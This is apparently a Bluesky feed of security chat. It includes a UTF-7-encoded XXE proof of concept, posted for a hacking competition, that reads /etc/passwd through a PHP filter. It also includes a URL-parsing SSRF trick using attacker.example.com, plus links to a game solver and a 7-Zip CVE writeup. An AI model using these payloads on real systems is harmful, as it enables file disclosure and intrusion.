martcl

<?xml version="1.0" encoding="UTF-7"?>+ADwAIQ-DOCTYPE data +AFsAPAAh-ENTITY xxe+ACA-SYSTEM +ACI-php://filter/convert.base64-encode/resource+AD0-/etc/passwd+ACIAPgBdAD4-+ADw-data+AD4APA-title+AD4-+ACY-xxe+ADsAPA-/title+AD4APA-/data+AD4

Sorry if I'm interpenetrating wrong or ruining the competition. I really enjoined the article and learned something new! 👑 My PoC uses UTF-7 and PHP filters to read arbitrary files. The PHP filters could probably be used to get RCE, but that is too long for a blsky post!

I interoperate the words "post your solution" and "reply" as it's OK to share a solution publicly before the competition is finished. Just feels a bit strange 😅

With "reply", do you mean comment our solution here?

Better to just use the browser. No updates;)

… Depending on how the function is used, you would need to add one more colon to my original url to get a ssrf.

This is just url parsing. The vuln comes from how you use the function I guess. ssrf could definitely become an issue here since hostname assumption is wrong

regex <3 `https://example.com:pass@attacker.example.com`

GitHub - martcl/nrk-former: Løser NRK former med A* Løser NRK former med A*. Contribute to martcl/nrk-former development by creating an account on GitHub.

NRK former er et kult spill! Jeg har brukt de siste dagene på å lage et program for å finne den teoretiske beste poengsummen det er mulig å få. 🫣 Så hvis noen en gang sitter og lurer på, hvordan Norges beste fikk så bra score;

github.com/martcl/nrk-f...

GitHub - TheN00bBuilder/cve-2024-11477-writeup: CVE-2024-11477 7Zip Code Execution Writeup and Analysis CVE-2024-11477 7Zip Code Execution Writeup and Analysis - TheN00bBuilder/cve-2024-11477-writeup

Spent some time researching #CVE-2024-11477, the new #7zip CVE and made a writeup about my work on it. Let me know what you think! github.com/TheN00bBuild...